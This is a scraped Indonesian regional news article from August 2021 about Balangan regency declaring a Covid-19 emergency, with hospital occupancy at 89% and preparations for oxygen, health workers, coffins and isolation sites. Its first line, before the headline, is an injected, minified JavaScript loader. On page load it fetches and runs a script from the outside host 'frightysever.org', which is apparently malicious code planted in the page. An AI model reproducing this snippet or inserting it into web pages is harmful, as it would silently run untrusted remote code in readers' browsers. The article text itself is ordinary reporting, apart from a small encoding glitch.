(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

‘Alarm’ Covid-19 di Balangan, Keterisian Rumah Sakit 89%, Kasus Positif Naik

KANALKALIMANTAN.COM, PARINGIN – Bupati Balangan H Abdul Hadi nyatakan Balangan darurat Covid-19 saat sesi wawancara kepada awak media, setelah rapat koordinasi terbatas Satgas Covid-19 Balangan, Selasa (10/8/2021).

Berdasarkan angka pemantauan Covid-19 Kabupaten Balangan, Senin (9/8/2021), pasien mencapai 162 orang positif aktif, 51 orang dalam perawatan di RSUD Balangan dan 111 orang isolasi mandiri (isoman) dan 0 proses karantina, dengan 1.823 orang sembuh dan 60 orang meninggal dunia.

“Sebagaimana yang kita ketahui bersama, tingkat keterisiaan rumah sakit kita sudah sekitar 89% artinya tinggal 11% sudah habis terisi, kemudian di situasi lain, pasien isolasi mandiri kita sudah pada angka 111, ini sudah sangat darurat. Dulu ketika satu atau dua yang terpapar Covid-19 kita takut dan sekarang sudah di posisi 160-an, nah itulah yang kita maksud dengan darurat Covid-19,” sebut Abdul Hadi.

Di dalam rapat tersebut dirinya bersama Satgas Covid-19 Kabupaten Balangan membicarakan terkait kesiapan menyikapi permasalahan terlebih jikalau terjadi lonjakan kasus Covid-19.

Terdapat beberapa poin yang dibahas untuk rencana aksi dilapangan diantaranya, kesiapan pemerintah terkait oksigen dengan menambah tabung, persiapan terkait nakes karena ada beberapa yang terpapar sehingga perlu melakukan rekrutmen, serta persiapan peti jenazah untuk mengantisipasi kehabisan peti jikalau ada lonjakan yang meninggal dunia karena Covid-19.

Tidak hanya itu, tempat karantina atau isolasi bagi pasien Covid-19 pun juga disiapkan. Ada dua tempat yang menjadi pilihan yaitu gedung BLK dan SKB Balangan.

“Kita sekarang berada di posisi level tiga, tapi sedikit lagi kita masuk ke level empat, apabila ada lonjakan sedikit saja kita sudah masuk,” sebut orang nomor satu di Kabupaten Balangan ini.

Pihaknya juga akan mengambil tindakan tegas, terkait penerapan PPKM nantinya. Ia berharap dengan kedisiplinan penerapan protokol kesehatan Covid-19, sehingga angkanya cepat turun dan tidak banyak orang yang terpapar. (kanalkalimantan.com/alfi)

Reporter:Â alfi
Editor : kk